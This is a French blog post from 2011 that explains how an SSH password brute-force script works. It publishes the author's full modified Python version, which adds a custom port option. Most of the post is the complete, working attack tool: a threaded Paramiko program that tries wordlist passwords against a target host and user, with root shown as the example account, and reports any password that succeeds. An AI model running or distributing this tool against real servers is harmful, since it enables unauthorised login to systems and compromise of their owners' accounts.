Quelques fonctionnalités manque au script Python de bruteforce de mot de passe SSH de Christian Martorella travaillant chez Edge-Security Research. Je me permet d'écrire cet article afin de décrire et d'expliquer comment j'ai modifié cet article.





0x01. FONCTIONNEMENT



Le script créer ce qu'on appelle des "threads", c'est à dire des "sous-processus" qui permettent, entre autre, d'accomplir plusieurs tâches en parallèle.
Chaque threads tente une connexion avec l'un des mots passes lu dans le fichier.
Lorsque la connexion échoue, l'entrée du fichier ligne+nombre de threads est lu et la connexion retentée.
Le respect du protocole SSH est assuré, dans le script par les bibliothèques Paramiko et LibCrypto.

paramiko/README :

"paramiko" est une combinaison de "paranoid" et de "friend". C'est un module pour Python v2.2 et supérieur qui implémente de protocole SSHv2 pour les connexions sécurisées (encryptée et authentique) vers des machines distantes.
Contrairement à SSL (alias TLS), le protocole SSHv2 ne requiert pas de certificats signés par une hiérarchie. Vous ne devez pas reconnaitre SSH2 (=SSHv2) comme un protocole qui a simplement remplacé Telnet ou RemoteShell (RSH), mais comme un protocole capable d'ouvrir des canaux, des ports à des services distants, comme pour faire un tunnel par exemple.


Cette bibliothèque a été entièrement écrite en Python.


# Fonctionnement grotesque : 

./brutessh  <---- liste-de-mots-de-passe.txt

# Lit le fichier et extrait les mots de passe
./brutessh              <     P@ssw0rd
                              M07d3pa$$e
                              $3cr37!

# Pour chaque mot de passe, tente de se connecter
./brutessh [thread 1]   >     ssh utilisateur@192.168.1.1 : P@ssw0rd
./brutessh [thread 2]   >     ssh utilisateur@192.168.1.1 : M07d3pa$$e
./brutessh [thread 3]   >     ssh utilisateur@192.168.1.1 : $3cr37!




0x02. CE QUI MANQUE



Parmi ce qui manque et qui plus est, est indispensable c'est le paramètre port. En effet le script ne permet pas de dire sur quel port se connecter. Si ma machine dispose d'un serveur SSH mais sur le port 2022, le script ne saura pas fonctionner sur ce port.


ssh -p 2022 utilisateur@serveur



0x03. MODIFICATION


Voici donc le script brutessh.py modifié :


 
#!/opt/local/bin/python
import thread
import time
from threading import Thread
import sys, os,threading, time, traceback, getopt
import paramiko
import terminal
 
 
"""
MacOSX : port install py-crypto
Debian : apt-get install python-crypto 
Redhat : yum install python-crypto
"""
 
global adx
APP="brutessh"
adx="1"
data=[]
i=[]
 
term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')
 
print "/n/*************************************"
print "*                                     *"
print "* SSH Bruteforcer Ver. 0.3            *"
print "* ------------------------            *"
print "* Ver. 0.2 by: laramies@gmail.com     *"
print "*   Christian Martorella              *"
print "*   Edge-Security Research            *"
print "*                                     *"
print "* Ver. 0.3 by: secureinfo@free.fr     *"
print "*   Nicolas F.                        *"
print "*   SecureInfo.free.fr                *"
print "*                                     *"
print "*************************************//n"
 
def usage():
    print "Usage: "+APP+" <-h host> [-p port] <-u username> <-d password file> [-t threads]/n"
    print "   -h: destination host"
    print "   -p: port (default: 22)"
    print "   -u: username to force"
    print "   -d: password file "
    print "   -t: threads (default 12, more could be bad)/n"
    print "Example: "+APP+" -p 10022 -h 192.168.1.55 -u root -d mypasswordlist.txt /n"
    sys.exit()
 
class force(Thread):
  def __init__( self, name ):
    Thread.__init__(self)
    self.name = name
 
  def run(self):
    global adx
    if adx == "1":
      passw=self.name.split("/n")[0]
      t = paramiko.Transport(hostname+":"+str(port))
      try:
        t.start_client()
      except Exception:
        x = 0
 
      try:
        t.auth_password(username=username,password=passw)
      except Exception:
        x = 0
 
      if t.is_authenticated():
        print "/nPassword found: " + passw
        t.close()
        adx = "0"
      else:
        #print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
        t.close()
    time.sleep(0)
    i[0]=i[0]-1
 
 
def test_thread(names):
  try:
    paramiko.Transport(hostname+":"+str(port))
  except:
    print "/nUnable to connect to : " + hostname + ":" + str(port) + "/n"
    sys.exit(1)
 
  i.append(0)
  j=0
  while len(names):
    try:
      if i[0]<th:
        n = names.pop(0)
        i[0]=i[0]+1
        thread=force(n)
        thread.start()
        j=j+1
    except KeyboardInterrupt:
      print "Attack suspended by user../n"
      sys.exit()
  thread.join()
 
def test(argv):
  global th
  global hostname
  global username
  global port
  th = 12
  if len(sys.argv) < 3:
    usage()
  try :
    opts, args = getopt.getopt(argv,"h:u:d:t:p:")
  except getopt.GetoptError:
    usage()
  port = 22
  for opt,arg in opts :
    if opt == '-u':
      username = arg
    elif opt == '-h':
      hostname = arg
    elif opt == '-d':
      password = arg
    elif opt == "-t":
      th = arg
    elif opt == "-p":
      port = arg
  try:
    f = open(password, "r")
  except:
    print "Can't open password file/n"
    sys.exit()
  print "Host: " + hostname + "  | Port: " + str(port) + "  | Username: " + username + "  | Filename: " + password
  print "===================================================================================="
  name = f.readlines()
  starttime = time.clock()
 
  test_thread(name)
  stoptime = time.clock()
  print "/nElapsed time  : " + str(stoptime-starttime)[:4] + " s"
 
  print "/n"
 
if __name__ == "__main__":
  try:
    test(sys.argv[1:])
  except KeyboardInterrupt:
    print "Attack suspended by user.../n"
    sys.exit()
 
 



   =>   Écrit par : Nicolas, le 09 février 2011


 
Mots clés :  
  network 
  
  security 
    >   Articles connexes :

GitVuln



HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...

/tmp et /var/log en noexec sur macOS



Durcissement de Windows



4390604